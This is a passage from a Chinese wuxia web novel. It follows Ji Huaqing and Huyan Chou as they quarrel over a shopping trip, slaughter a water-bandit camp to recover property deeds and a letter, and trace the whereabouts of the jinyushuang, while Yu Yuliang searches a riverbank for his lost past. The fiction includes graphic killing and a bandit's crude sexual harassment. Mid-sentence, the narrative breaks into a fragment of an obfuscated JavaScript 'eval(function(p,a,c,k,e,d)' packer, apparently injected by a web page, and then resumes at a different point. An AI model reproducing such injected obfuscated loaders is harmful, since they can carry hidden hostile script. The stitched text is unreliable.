自己被雨休捡到已是十多年前的事,十数年间,物是人非,他根本不知道去找谁询问当年之事。况且,他记得雨休临死前跟他说的,打探消息时要小心。当年才六岁的自己为何会晕倒在江岸边上?这背后很可能是个血腥恐怖的故事。可只要开始打探,就有引起别人的注意的可能性,如何才能够“小心”打探呢? 经历了在敛安附近被以连江万克礼为首的一众江湖人士围追堵截后,雨馀凉对江湖上没来由的血腥围剿与你死我活便有了一个全新而深刻的认知,也是自那时起,他觉得自己似乎触碰到了所谓“江湖”的本质。 就在雨馀凉看着地面陷入沉思信步而行时,他的肩膀突然被谁大力拍了一下,雨馀凉一惊,随后覃七霄在他耳边大叫道:“哈!” 雨馀凉见是覃七霄,道:“覃兄,你们没喝茶了?”他说到这里,抬头看向旁边,“怎的花道长没跟你一起?” 覃七霄笑嘻嘻道:“我跟他又不是绑定在一块的,谁规定我们非得随时待在一处?他去干自己的事了,我一个人无聊,就在街上四处走走,谁知在这里又碰到了雨兄你,也真是好巧。” 雨馀凉见覃七霄总是一副开开心心的样子,不禁感到有些羡慕。同时,他也终于按捺不住心中的好奇,问道:“覃兄,花青前辈跟呼延大哥,这两个人之间究竟发生过什么?” 雨馀凉觉得,这种问题问覃七霄最是合适,要是问花道人,你都不知道他说的哪句话是真的。 不想覃七霄听雨馀凉问出这句话后,笑容似乎有些僵在了脸上,他挠挠头,似乎有些为难,他飞快地朝四周看了看,随后将雨馀凉拉到一僻静处,道:“这可就说来话长了……你可别说是我说的啊!” 雨馀凉见覃七霄肯告诉自己,忙道:“我不会告诉任何人,我发誓。”同时心下暗想,不知姬花青和呼延酬二人之间究竟有一段怎样的过去,连覃七霄竟然都显出如此慎重其事的样子。 覃七霄道:“我和甯元元那个女人虽然相互看不顺眼,但说实话,也只能算是小打小闹啦。”他突然凑近雨馀凉,道:“你是没见过真正恐怖的吵架。”他说着又左顾右盼了一番,然后悄声对雨馀凉道:“我说真的,你千万别告诉别人,也千万别说漏嘴,尤其是让花青姐和呼延大哥知道是我说的,不然我死定了!以前这两个人吵的时候,那氛围,谁看谁窒息,他们好像是真心想把对方弄死。” ------------------------------ 姬花青和呼延酬在客栈中把突袭匪寨的事说完后,呼延酬犹豫再三,终于清了清嗓子道:“我有一个请求。” 姬花青正双手撑在桌面上看水匪营寨布局图纸,闻言抬头看向呼延酬。 呼延酬道:“陪我上街逛逛。” 姬花青道:“呼延酬,你有什么毛病?这种事找你家人去。” 呼延酬道:“就是不能找家人。” 姬花青:“?” 呼延酬道:“最近水南时兴一种衫裙款式,镜离一直想要一套。”姬花青看着呼延酬,等他继续说下去。呼延酬对姬花青道:“我想请你以同为女子的眼光,帮我挑一套合适的衫裙。” 姬花青道:“那你找错人了,我和你夫人的喜好差距应该蛮大的。” 呼延酬道:“至少不会错得太离谱!之前我买的好些东西镜离都说穿戴不出去。” 姬花青想,已经到这种程度了?呼延酬的眼光是有多离谱?她道:“那你直接带她去买不就行了?” 呼延酬道:“若是这样,还有什么惊喜可言?” 姬花青心想,哟,老夫老妻了,还挺浪漫。 呼延酬道:“就请你跟我一起去,可以吗?” 姬花青知道呼延酬不是个会轻易向人低头、求恳别人的人,何况他现在再三请求的人还是跟他素来不对付的自己,看来给老婆准备礼物对他来说真的是件很重要的事。 姬花青又是感慨,心内又是一酸,她低头静思了片刻,终于抬头对呼延酬道:“走吧。” “不过这次应该不会发生什么意外吧?”姬花青一边向门口走去,一边对呼延酬道。 呼延酬一时半会没明白过来姬花青的意思,只见后者嘴角一勾,回头道:“别一不小心被镜离看见了产生误会又挨一耳光。” 姬花青第一次知道跟呼延酬出来逛街这么累。 她觉得自己似乎在一个下午将临蓟城所有的布庄都跑了个遍,若只是单纯将这些布庄挨个逛一遍都还好,要命的是呼延酬明明说自己眼光糟糕请她帮忙参考,结果她挑出来的呼延酬又不满意,要么是嫌颜色不对,要么是有哪个细节他说他老婆不喜欢。但呼延酬挑出来的姬花青一看就不行,这男人的审美是个什么玩意儿?又是让姬花青帮他挑结果又有自己的想法,自己的想法还挺顽固。天气还热得不行,两个人掰扯着掰扯着新仇连着旧恨火气一下就上来了,简直当场就要在布庄打一架。 然后吧,呼延酬连着逛了好几家店愣是没相中一套,结果,嘿,你猜怎么着,再逛了几家后他突然觉得老早之前去过的某家店的某套衫裙回想起来还行了,于是又跟姬花青说要倒回去看看那套究竟行不行,没错,是看看行不行,而不是直接拿下,若是再看一遍还是不行,相当于白跑。 姬花青自己买衣服从来都用不到半个时辰。 她累了,真的。现在她无比怀念曾经没回答出师父问题被罚抄笔记八十遍的日子。 最终,二人精挑细选出了两套衫裙。走在回呼延酬家的路上,姬花青觉得自己骨头都要散架了。 姬花青突然对呼延酬道:“呼延大哥,给镜离买礼物对你来说是不是一件顶重要的事?” 呼延酬道:“是,非常重要。” 姬花青道:“那我是不是帮了你一个很大的忙?” 呼延酬道:“嗯,这次真的谢谢了。” 姬花青道:“那你可不可以告诉我金玉霜到底在哪。” 呼延酬道:“……我们一开始说好的,你帮我拿到那些房契地契,我才告诉你金玉霜的下落。” 姬花青道:“难道我这么累死累活跟你走了一下午,还抵消不了那一件事吗?” 呼延酬道:“这是两码事,你尊重一下契约行不行?” 姬花青道:“你另外找个帮手就行了呀,教里那么多人随你挑,计划我们都制定好了,你只要跟他一说就行了,你就另外找个人好不好?” 呼延酬道:“不好。”他看向姬花青,“拿不到我要的东西,我是没法让你知道金玉霜下落的。只有你亲自去闯了那寨子,才能知道你想要的东西在哪。” 姬花青突然停下了脚步,而手里还拉着呼延酬的衣袖。 呼延酬道:“你干嘛?” 姬花青抬头咬牙道:“呼延酬,你是不是太过分了?” 呼延酬道:“我不知道我哪里过分……你松手!” 姬花青说话的声音突然大了许多,她道:“呼延酬,你对得起我吗???” 二人此时已经走到了呼延酬和朱镜离所住的那条街上,周围邻居都认识呼延酬朱镜离这对年轻夫妇,这些邻里忽然被姬花青的声音吸引,纷纷朝二人看过来,有些甚至直接围了过来。 呼延酬见这个情形,心想不好,这可要闹大误会,对姬花青道:“你小声!” 姬花青对呼延酬道:“我就是要大声,我就是要整条街的人都知道!”她扯开了嗓子大叫道:“来人哪!不得了啦!皇天后土神仙祖宗啊——都来评评理啊——” 稍早些时候,覃七霄将从前姬花青和呼延酬的种种过节都跟雨馀凉说了,覃七霄本身也不是什么装得住秘密的性格,跟雨馀凉说完后,他突然觉得心里畅快多了。 覃七霄讲的这些往事听得雨馀凉一愣一愣的,原来玄同教的左右使之间还有这样的过去。雨馀凉想,世界上很多事真的很神奇,就像姬花青和呼延酬两个人明明看上去谁也没错,但矛盾还是产生了,他们明明都是很不错的人,但就是看对方不惯。 覃七霄仰头望天道:“其实过了这么多年,这两个人性子都没以前那么烈啦,无论是呼延大哥还是花青姐,跟以前那时比都沉稳许多了,尤其是花青姐,”他低下头,“花青姐温柔了许多,脸上笑容也多了,可不知为什么,反而让我感到更难以捉摸,与人更加疏远了。她离教这六年,到底经历了些什么呢?” 覃七霄又笑起来,道:“也可能不是这两个人的性格变了,可能只是单纯的年纪大了,斗不动了。” 覃七霄跟雨馀凉一边走一边说,这时花道人从旁边走来,道:“哟,你俩在一起啊?” 覃七霄见了花道人,微微吃惊,正准备说什么,注意忽然就被前方的骚动吸引了过去。 三人对视一眼,走近围观人群,好不容易挤了进去,却见人群中央姬花青扯着呼延酬衣袖,脸上神情颇不依不饶,而呼延酬则咬牙道:“你这泼妇,撒手!” 覃七霄对雨馀凉道:“刚才的话当我没说。”而此时此刻—— 呼延酬想的是:“镜离千万不要来看到!” 姬花青想的是:“真希望镜离过来看到!” 花道人则在想:“我的想法一点没错,这两个人积压的情感终于爆发了!爱情与嫉妒之火燃烧得简直猛烈!” 之后姬花青和呼延酬都累了,骚动平息,人群散去。覃七霄或许是在雨馀凉面前揭了姬花青和呼延酬的老底有些心虚,找了个由头拉着花道人就离开了,只留雨馀凉一个人跟在姬花青和呼延酬二人身后走着。 此时夕阳西下,三人的影子在街上被拉得老长。 姬花青和呼延酬彻底吵开了,从远古吵到现在,从水西吵到水东,如果覃七霄还在这,他会觉得这种熟悉的感觉,让他仿佛回到了童年。 姬花青道:“呼延酬,你曾经说过,让我别来教你做事,现在我也要告诉你,别来教我做事!” 呼延酬道:“我不像你,对多年前的事还耿耿于怀!” 姬花青道:“耿耿于怀怎么了?我就是小肚鸡肠,我这个人从来都是小肚鸡肠!” 二人吵到后来,呼延酬忍不住开始历数起从前的旧账,说姬花青曾经在什么时候什么地方无理取闹,姬花青说的每一句话他都清清楚楚地复述了出来,而那些时候他虽然心里很不爽,却又是如何如何忍住了脾气。 姬花青道:“这不是记得挺清楚吗?你在那装什么大度呢?” 呼延酬道:“你这种人活该被用这种态度对待,我当然可以对别人大度,可你不行,你自己想想自己的原因!” 这时突然有一个卖花小贩行到二人身旁,道:“漂亮的鲜花,公子,给这位姑娘买一支?” 雨馀凉想要捂脸,心道:“有点眼力见啊!” 姬花青和呼延酬二人根本没看小贩,继续吵架,且争吵还有愈演愈烈的趋势。 小贩悻悻离开了。 呼延酬道:“而且你这师父也不知是怎么当的,你教的那些刀法根本就不适合雨兄弟!” 雨馀凉一凛,完了完了完了,怎么扯到他身上来了? 呼延酬白天看见雨馀凉使那斩雷诀,这招其实是雨馀凉看到姬花青曾经使出然后他自己忍不住私下里模仿,呼延酬却以为是姬花青教给雨馀凉并让其练习。在呼延酬看来,雨馀凉现在这种程度根本就不该学这么高深的刀法,这无异于在小孩子还没学会走时就让他跑。 但姬花青不知这些原委,而呼延酬此言大是激怒了她,姬花青道:“适不适合,好与不好,应该交由他自己判断,然后形成自己的风格。很多东西不亲身上手体会,光听别人说是永远没有实感的。” 呼延酬道:“若事事都要徒弟自己去体会,师父的存在又有什么意义?师父就是要让徒弟少走弯路,你自己教徒弟时偷懒,被人说破还要狡辩,美其名曰形成自己的风格,不管什么武功什么招式都一股脑抛给他,让他自己瞎练,运气运岔了怎么办?走火入魔了怎么办?最后练废了你这个师父都不知道原因!” 姬花青自问教给雨馀凉的都是适合他这个阶段修习的武功,所以对呼延酬的这番指责感到很是莫名其妙,在她看来这只是呼延酬吵激动了开始胡言乱语。 雨馀凉觉得自己必须要做些什么了,于是在他们身后道:“那个……两位前辈……” 姬花青和呼延酬同时回过头来,瞪着雨馀凉道:“啊???” “……”雨馀凉头微微后仰,双手护在自己面前,一句话也说不出来。 见雨馀凉没什么要说的,姬花青和呼延酬又回过头去继续吵。 雨馀凉觉得气氛很可怕,他终于明白覃七霄所说的那种窒息感是怎么个感觉了,尤其是这两个人吵的还是他的事。而明明是为他的事争吵,他却像个局外人。 雨馀凉道:“好好好好了你们!我……斩雷诀是我自己私下里悄悄练的,花青前辈没有教我这个!你们两个说的都对!就别再吵了!” ------------------------------ 雨馀凉道:“花青前辈,那个……我跟呼延大哥切磋武功,你是不是生气了啊?” 姬花青道:“没有。” 呼延酬已经回到家去了,在经过了很不友好的道别后,姬花青和雨馀凉两个人走在回客栈的路上。 沉默一会,姬花青又道:“你若觉得他的方式更适合你,也完全没什么,我会很高兴你找到了更好的修练武功的方式,哎呀,可能我就是不会教别人武功吧。” 雨馀凉心想,这不是心里还是在意嘛? ------------------------------ 如此又过了一日,到了第二天晚上,姬花青和呼延酬来到那水匪营寨外碰头。他们正是要在今晚展开行动。 姬花青从寨子后方某处位置寻着一个守卫的空隙潜了进去,她刚滚进旁边的灌木丛里,就有一堆巡逻的水匪从她旁边走过。 姬花青选择潜入的这个位置已经是她和呼延酬经过几天的观察和分析择出的守卫最薄弱且又离那放置财物的屋子最近的一处了,饶是如此,姬花青和那屋子之间依旧隔着来来去去的水匪,这些水匪排列成一队,层层叠叠地阻挡在姬花青和那最终目的地屋子之间。 姬花青慢慢在灌木丛中移动,逐渐靠近那座屋子,她感到自己已然身处敌人的重重包围之中。姬花青心道:“呼延酬,你最终给我的情报最好与我现在做的事有对等的价值。” 姬花青已经来到离那屋子很近的地方,而到了这里,她便再也不能前进一步了,她能够清楚地看到屋子门口有四名守卫,而巡逻的水匪从四面八方经过那屋子门口,所有人简直如一块布般将那屋子捂得严严实实密不透风。 姬花青想,呼延酬那混蛋在干什么?怎么还没开始动作? 已经深入到了寨中这个地方,若呼延酬不将人引走,姬花青是没办法出去的,一出去定然同时被至少十个人发现。 忽然从寨子大门方向传来一阵骚动,姬花青周围的水匪纷纷问道:“怎么了?”“发生了什么?”又闻得当当当一阵锣鼓声响,有水匪朝这边叫道:“不好啦,有人闯寨!点子太硬,速来增援!” 一个小头目模样的水匪制止住闻言就要赶去大门那边的水匪,对守在屋前的四名守卫道:“你们留在这里。”他又看向一队巡逻水匪,“你们也守在这里。”说完朝剩下的水匪一摆头,“其他人,跟我去大门那边!” 姬花青心想,嘿,还算谨慎,知道可能是调虎离山之计。 那小头目下令留在这的水匪大约有八九个人,这些水匪四散开来,守在这屋子周围。 姬花青一跃而出,一刀刺中一名水匪的背心,另一名水匪转过身来道:“什么人?”姬花青另一只手拔出背上长剑,一剑贯穿第二名水匪的胸膛。 姬花青左右手同时回肘,一刀一剑同时从两名水匪身上抽出,剩下的水匪被惊动,一齐朝姬花青攻来。姬花青右手刀左手剑,右脚向旁边踏出一步,摆好架势准备迎击。 放置财物的屋内,地板上尽是血痕。几具水匪尸体倒在屋里,剩下的全在屋子外面。姬花青站在房屋尽头的桌子前,打开一个又一个匣子,搜索着朱家的房契地契。 的确如呼延酬所说,这些水匪较一般强人匪徒要强悍很多,但姬花青既能一人同时对上连江万克礼这种沧阆四绝中的两绝——这些水匪武功到底不如后者,虽然同时面对十数个武功属中上水平的敌人比较费力,姬花青到底还是应付了下来。 很快地,姬花青找到了朱家的房契地契,与此同时潜入匪寨前呼延酬的话又在她耳边回响起来:“除房契地契外,那屋子里应当还有白玄逸给这匪寨寨主的一封信,你也要一并带了出来。” 姬花青怀疑自己听错了,道:“这跟说好的不一样吧,你一开始可只说了要房契地契。” 呼延酬道:“你若想知道自己想知道的,就得照我说的做。” 姬花青对于呼延酬这种临时加价的行为深恶痛绝,奈何呼延酬知道怎么拿捏住她,三番五次都以金玉霜的下落做要挟。无法,姬花青只能照做。 反正那书信跟房契地契一样,也是纸,不过多拿一张纸,姬花青告诉自己,呼延酬也没有太过分。 她将房契地契折了折塞入袖中后,又翻箱倒柜找起书信来。在书架上的一个格子中,姬花青找到了一沓书信,她反复确认了几次,这些书信中只有一封是白玄逸写给这匪寨寨主的,她将信也塞进袖子里,又在屋里找了个遍,没再发现其他书信。大功告成,姬花青想,是时候去匪寨大门找呼延酬了。他应该还没死吧? 姬花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对呼延酬出言调戏的水匪头目是这群水匪的二当家,他再也按捺不住、已经不想停留在嘴上说说的程度了,只见他一跃跃至呼延酬身旁,呼延酬此时正与两名水匪缠斗,那二当家抓住这个空隙,伸手就朝呼延酬脸上摸去。 呼延酬不及闪避,脸颊竟真被这二当家摸了一把。 呼延酬大愕,那二当家手又探出,这回竟是往呼延酬下身抓去。 呼延酬怒吼一声:“滚!”回枪朝二当家的手戳来,那二当家见状及时缩手,右手才没被呼延酬一枪戳烂,只见他倒纵出去,远离了呼延酬,却举起刚摸过呼延酬侧脸的右手,先是细细闻了闻,随后右手在自己脸上极缠绵悱恻地抚了几抚,最后伸出舌头舔过掌心,沉醉道:“好香啊,这位郎君的汗都这么香,郎君,你做我一个人的郎君好不好?”他的表情实在过于销魂,似乎闻着呼延酬的汗味都让他获得了无上的快感。 呼延酬有玄同教左使、聊氏九歌东君双重身份,也是四处杀伐多年、奇人怪事见过不少了,但他显然没怎么遇到过这种,准确地说,这种倒也遇到过,但像这样直接冲他来,还黏黏糊糊像蚂蟥一样恶心的还是第一次。 呼延酬额角暴起青筋,道:“我没有那种爱好,我有家室!” 姬花青想,哟,为了摆脱断袖,连自己有家室都口不择言透露出来了。 看出呼延酬对此十分恐惧了。 不想那二当家无比激动兴奋道:“成过家?成过家好啊,我就喜欢你这种当过人夫的男人,不知郎君生过孩子没有?你若是还有孩子,我就更喜欢了!” 姬花青道:“呼延大哥,你就从了他呗,你若从了他,我们接下来的事说不定就好办多了。” 呼延酬环眼怒瞪姬花青,吼道:“闭嘴!”几乎与此同时,最开始问姬花青和呼延酬身份的水匪头目也对那二当家怒道:“闭嘴!” 双方阵营显然都有一个不那么正经的队友。 训斥二当家的水匪头目正是这匪寨的寨主,只听他道:“寨中弟兄们听了,将这两个闯寨的人拿下,就地杀了,不留活口!”他这句话混着源源不绝的内力从胸腔中送出来,嘹亮地回响在寨中每一个角落,从这声音便可听出此人内力浑厚。 那水匪二当家听寨主如此下令,抗议道:“杀了?大哥,你这是浪费!把女的杀了,男的留给我吧!” 那寨主并不理会二当家,二当家啧了一声,提起两把弯刀跟上如潮水般向姬花青与呼延酬二人涌去的群匪。 混战中,二当家一刀挑开向呼延酬后背刺去的一叉,那使钢叉的水匪被二当家的眼神瞪得退了下去,二当家顺势凑到呼延酬后颈道:“郎君,你下面胀鼓鼓的,我都不敢想象你那物若在我身体里该会让我有多舒爽!你那位家室一定每次都被你入得大叫!而我也会让你尝尝我的,我会让你感受以前从未感受过的滋味——如果你愿意。” 呼延酬猛地回过身来,枪随身转,闪烁着银光的长枪枪尖倏忽间就到了离二当家面门只有数寸之处,二当家略微吃了一惊,歪头躲开,那枪尖便戳中了二当家身后以石块垒筑的矮墙上,这矮墙坚固,却硬是被呼延酬一枪戳成了无数碎石块,七零八落地迸散在四周。 而方才呼延酬那表情,简直就像被什么脏东西沾到身上了一样。 姬花青这边也是被不少水匪围住,她且行且斗,待与大多数水匪拉开距离,而只有少数几个水匪和她近身相斗时,她便集中精力拆解对方来招,每隔一会便能解决掉那么一两个,如此逐个击破,倒也没有手忙脚乱。 而在姬花青跃至一座屋子时,忽然嗅到了一股难闻的味道。 就在她为这股气味略微分神时,前方三名水匪各执长短兵刃朝姬花青攻来,姬花青正要迎敌,忽听得身旁一声巨响,旁边的柴堆破开,柴堆后一名水匪手持大刀朝姬花青劈头砍到。 姬花青两方受敌,临时改变策略,也不再举刀迎击,而是收刀后撤撞入身后那散发着奇怪气味的屋子,与她相斗的水匪紧随其后,也进到了屋中。 姬花青与敌人相斗已久,精神已经有些疲惫,情况有变,一时着了忙,退进这小屋里并不是她本意,稍微不小心就会演化成困兽之斗。眼见敌人跟着进了来,夏夜闷热,这小屋里更是窒闷,她能感到一滴汗水自两乳之间滑下,打湿了她的抹胸。 只见一名水匪高举长矛朝姬花青戳刺而来,姬花青足尖一抵闪至屋内另一角,那水匪一矛刺破了她原先所在位置身后放着的陶罐,罐子里的东西漏出来洒了一地。借着屋外的火光,姬花青看清那罐子里装的是淡黄色的粉块。 结合闻到的气味,姬花青知道这粉块是什么东西了。 是硫磺。 她定睛朝这屋子四周看去,只见屋子里堆满了这样的陶罐,姬花青突然计上心来。 呼延酬仍在被一众水匪围攻,以他的武功,这些水匪伤不了他,但敌人人数实在太多,且懂得相互配合,每当他就要杀伤一名水匪时,其他水匪便会或从旁边以兵器格住他的枪,或从另一个方向攻击他,逼他收枪回挡,这样一来,他原本作为目标的水匪就得到喘息的空隙,得以从他枪下捡回一条命,随后再与其他水匪一起对他发动进攻。 呼延酬越发沉不住气了。 简直没完没了! 而让他更加烦躁不已的是,那二当家也如同苍蝇一般围在他旁边,时不时对他说出一些龌龊言语,他简直想找个什么东西将耳朵塞上。他不是没想过先把那二当家一枪戳死,但这些水匪相互配合相互保护,连一个喽啰他尚且都无法取其性命,更何况是武功更为高强的二当家? 就在二当家想着要寻个机会点中呼延酬的穴道让后者动弹不得随后任自己摆布时,他忽然闻得身后破风声响,似乎有什么东西朝他飞了过来,他一边回头从容挥刀,一边道:“暗器是……” 然后他的刀削中了一个陶罐。 随着“啪”的一声响,里面的硫磺粉末纷纷扬扬洒了那二当家满头满脸,伴随着眼睛强烈的烧灼痛感,一股极其怪异的味道充斥了他的鼻腔,他叫了几声,突如其来的强烈刺激让他暂时失去了理智,他没想到覆了自己一头一脸的东西是硫磺,脑海中第一个念头竟以为是什么毒药。 就在这时一把长刀疾电般飞了过来,伴随砰的一声巨响,二当家胸口被那长刀贯穿,整个身躯都被钉在了他身后的木柱上。 呼延酬正忙于对付围在他身边的水匪,他还不知道发生了什么,只是感到二当家那说着猥亵言语的恶心嗓音突然消失了。 随后更多陶罐朝呼延酬这边飞来,围住呼延酬的水匪纷纷被陶罐打中,陶罐碎裂,呼延酬以及其他水匪霎时被一团淡黄色的烟尘围裹。 呼延酬一只手臂挡在自己口鼻之前,头往旁边侧过,大量的硫磺集中在这里,呼延酬只觉这气味兜头兜脑,似乎钻进了他的四肢百骸。 但这些罐子到底不是冲着他来,并没有直接砸中他,呼延酬将眼睛睁开一条缝,只见本来围攻他的众水匪皆停止了对他的进攻,这些罐子以及里面的东西转移了他们的注意。 呼延酬无暇判断那些罐子究竟是什么暗器,他见周围的水匪不是用手捂着脸就是摇头晃脑,赶紧抓住这个机会,一只手臂捂住口鼻,一手提枪朝这些水匪扫去。 一双脚走到被钉在柱子上的二当家跟前,这双脚的主人伸手握上刀柄,手上用力一拔,二当家悬空的尸体就从柱子上落了下来。她看向正用长枪将水匪一一放倒的呼延酬,道:“挺聪明嘛,知道利用我给你制造的机会。” 呼延酬从纷纷扬扬的硫磺烟雾中走出来,皱眉道:“你不仅恶心到了敌人,还恶心到了我。” 姬花青哈哈笑道:“那可真是太好了,毕竟我做梦都想恶心到你。” 呼延酬眉毛一抖。 姬花青收了笑容,道:“我帮你杀了调戏你的恶徒,你不是应该感谢我吗?怎么还责怪起我来了?嗯,或许我不该杀他,我应该让你共他鸳鸳帐暖才是。” 呼延酬没有说话,但他和姬花青一同向对方走近。当二人走到对方面前后,两人转过身去,背靠背面对着剩下的敌人。 经过刚才的尝试,二人已然明白,他们最好不要分开对敌,敌人既然能够配合,那么他们也需要相互配合,一人朝敌人出手的时候另一人照看住后方,就不会出现向前方出招时后面的敌人趁此时攻击,他们不得不回过头来留心后方,导致久久无法杀伤一个敌人的情况。 ------------------------------ 江岸上蔓延开的鲜血汩汩淌入江中,江水里的红色逐渐晕染开来。 姬花青和呼延酬看着四周满地的尸体,这个水匪营寨,二人没有留下一个活口。 姬花青用手撑住膝盖站直,道:“你的原计划是不是不包括将整个寨子全剿了。” 呼延酬没有理她。 “……”姬花青盯着呼延酬看了一会,又道:“呼延酬,耽溺于情爱,你已经不是以前的你了,”她嘴角勾起抬头望着漆黑的夜空,“你变弱了。” 呼延酬只回答了四个字:“嗯,你最强。” 姬花青冷哼一声,道:“真正的强者,真正的智者,是不会陷入爱情的。这些人或许会成婚生子,但要么是为了传宗接代,要么是为了虚荣,要么是为了通过一桩婚事改变自己的身份地位……呼延酬,你是哪种?”她看向呼延酬,只见后者正用十分阴冷的眼神看着她,姬花青道:“哟,又生气啦?” 呼延酬道:“姬花青,方才你说让我从了那水匪,但若有一天你被人调笑,我也不会说‘你闭上眼,将对方想象成你师父就行’这种话。” 呼延酬这句话让姬花青觉得自己周身的血液仿佛都凝固了,一种深藏的秘密其实早就被人发现的尴尬与惊慌在她心底渐渐蔓延开。 呼延酬知道了什么? 怎么会?她明明……隐藏得很好才对。 她头皮发麻,她的心渐渐下沉。 其实呼延酬说这句话时并没有多想什么,他只是想以最有效率的方式刺激姬花青而已。 姬花青说真正的强者智者不会陷入爱情,在呼延酬听来不过是姬花青在他面前夸耀自己罢了,因为在呼延酬眼中,姬花青心中根本就没有爱。 她确实不会爱上任何人。 既然姬花青没有爱的人,那么他便用姬花青所尊敬或者曾经尊敬的人来打比方。 但呼延酬说完这句话,自己也稍稍有些后悔,师徒关系到底还是很不适合于开这种玩笑,虽然是能起到恶心人的作用,但有些太过了,毕竟这与说人和父母乱|伦没什么区别。 呼延酬长呼一口气,道:“你不是要问我金玉霜的下落么?” 姬花青骤然回过神来,她道:“不错,现在你可以告诉我了吧?”她的眼中满是迫切。 呼延酬道:“不急……”他才刚吐出这两个字,姬花青眼中就露出极狠戾的光,呼延酬道:“你把我要你带出来的东西先拿出来。” 姬花青闻言,一语不发地将房契地契并那封书信从袖里掏出。 呼延酬正准备伸过手来拿,姬花青捏着那些纸张的手一下子移开,她直视呼延酬的眼睛,道:“先告诉我我要的消息。” 呼延酬道:“行,你将那封书信拆开,一看便知。” 姬花青心下一动,她狐疑地看向呼延酬,将房契地契重新塞入袖中,把书信从信封里拿出,借着火把的光读了起来。 这是白玄逸写给这水匪寨主的信,上面写着白玄逸要这寨主将自己送到他这来看管的宝物拿出一部分,白玄逸要将这批宝物送给这次从水西来到水南的丹阳派。 而这礼品清单中,赫然就有金玉霜! 但信上并没有写几瓶或几罐金玉霜,而写的是“金玉霜全部”。 原来呼延酬和朱镜离早就计划要拿到那些房契地契,所以在遇到姬花青以及玄同教众人前,呼延酬就已经来到这水匪营寨附近踩点。而在这期间,他亲眼目睹了这匪寨的寨主收到白玄逸的来信,看到这寨主指挥手下去清点清单上写的那些物什,并在手下向寨主询问时,听见那寨主说:“信上不是说了,金玉霜等物,一并送到那去。” 不想之后姬花青向他打听的竟刚好是金玉霜,呼延酬没看过那封信,他也不知道金玉霜等物是送去哪,所以没法回答姬花青。他自己独闯这水匪营寨十分凶险,而妻子朱镜离又不擅武功,不过话说回来,就算朱镜离的武功足以应对这些水匪,他又怎忍心让爱妻跟自己一起去冒险、去闯这龙潭虎穴?于是略一思索,计划便在心中成形。 他成功将姬花青绑上了自己的贼船。 姬花青这下明白了,原来呼延酬之前说如果自己不亲自来闯这水匪营寨,就无法知道金玉霜的下落,原来是这个意思。 姬花青道:“原来金玉霜现在也不在白玄逸这里,而是在丹阳派?” 呼延酬向姬花青伸手,道:“你已知道你想要的,就快把我的东西给我吧。” 姬花青一边将房契地契交给呼延酬,一边道:“你这老贼,为什么一开始不告诉我实情?非要这么拐弯抹角?” 呼延酬没有回答这个问题,只转身道:“你难道还想站在这死人堆中?你受得了,我可受不了。” 姬花青跟上呼延酬,道:“啊我知道了,你是怕我知道书信上就有我想要的东西后偷你要的东西就不肯尽心尽力了?这样的话可以我在前面吸引敌人注意你去偷啊。”她想了想,又道:“不行,如果是这样的话,我又不放心了……” 103. 烟波(一) 雨馀凉来到仲邑江边,看着宽阔的江面,滔滔的江水。 虽然姬花青没有跟雨馀凉说她和呼延酬在做什么事,不过雨馀凉隐约感觉到姬花青和呼延酬在做的事已经做完了,因为自从前几日姬花青在快要天亮时才回到客栈后,姬花青就再也没去找过呼延酬,而呼延酬也没来客栈找姬花青。并且自从那日后,姬花青比之前更加频繁地离开客栈,雨馀凉连着很长时间都见不到姬花青一次。 雨馀凉想,花青前辈不是有自己的事要做么?怎么又会和呼延大哥在一起做事?而呼延酬大哥是玄同教中人,花青前辈已脱离了玄同教,为什么呼延大哥不去找玄同教的人而要去找花青前辈跟他一起? 这个世界太复杂,他有很多疑问,而这些疑问他都得不到解答。 不过不管怎样,现在姬花青应该都在继续做她自己的事了。 那他自己呢?他自己的事又如何?是不是该有些进展了? 波涛水声在雨馀凉耳边回响,雨馀凉清楚自己来到这的原因:雨休是在仲邑江边捡到他的,那么与其在临蓟城大街小巷中穿行寻找线索,不如直接到江滩上来。 雨馀凉朝向江水,深深吸了口气,他企盼着,企盼着重游“故地”能唤醒他丢失的记忆。 虽说他曾经来过这里,但由于记忆的丧失,这“故地”也成了一个陌生无比的领域。 他沿着仲邑江行走,心想,不知当初雨休是在江边哪个位置发现的他? 想到雨休,雨馀凉心中又泛起一阵酸涩悲凉。 他终究是与谷州府、与过去渐行渐远了,尽管他并不想。而现在,他正寻找着比在谷州时更遥远的过去。 这“过去”还值得去追寻吗?他又一次陷入了怀疑,自己一直以来的执念,到头来真的具有价值吗? 弄清楚自己是谁,真的就那么重要吗? 雨馀凉在江边徘徊,不知不觉间,日影渐移,正当雨馀凉看着江面陷入沉思时,一道声音从他身后传来:“少侠。” 雨馀凉回过头去,只见一名年轻人正站在自己身后,面露微笑看着自己。 雨馀凉不认识这人,他看着眼前这个兴许只比自己大两三岁的年轻人,有些怔愣。不知他因何事叫住自己。 那年轻人道:“我见少侠在江边从早上走到下午,少侠可是有什么心事?” 雨馀凉道:“你怎知我从早上走到下午?你……难道你一直在旁边看着?”他越说越是心惊,竟有人一直在自己未发觉的情况下观察着自己。 那年轻人微笑道:“不错。不过请少侠宽心,我不是歹人,不过跟少侠一样,是个有心事的人罢了。我来江边散心,不想见到跟自己境遇相似的人,不禁觉得有趣,对少侠产生了惺惺相惜之情。而少侠想事情太过投入,这才没发现我。” 雨馀凉下意识地观察自己面前的这个人,只见这人面容清俊,一头柔软长发披在背后,他身着灰绿色的长袍轻衫,言谈举止十分温文儒雅。 看上去不像是武林中人。 若没有谷州刀派春日大较的那场骚动,雨馀凉认为自己如今过的该是另一种人生。他不会踏足江湖,成为所谓“江湖中人”,在谷州刀派时他就常常想,从门派出来后,他或是学一门手艺,或是做做生意,或是研究学问,总之不会去过现在这种打打杀杀的日子。 自从下定决心跟随姬花青后,雨馀凉所接触的便都是武林中人,如今骤然见到江湖之外的人,雨馀凉竟感到了一种陌生,但随之而来的却是亲切。 雨馀凉道:“既如此,那我与公子也算是投缘了。” 那年轻公子道:“少侠在这仲邑江边踯躅,在下想斗胆问少侠:可是有什么烦心事?” 雨馀凉道:“也无甚大事,就是散散步罢了。”尽管到目前为止他都对这名温雅公子颇有好感,但雨馀凉并未放下戒备。 那年轻公子垂眼看向地面,看他表情,似乎看出了雨馀凉不愿与他多说。他微笑着对雨馀凉道:“少侠是从水西来的么?” 雨馀凉道:“不是,我就是水南人。”他微微一笑,道:“公子为何这么认为?” 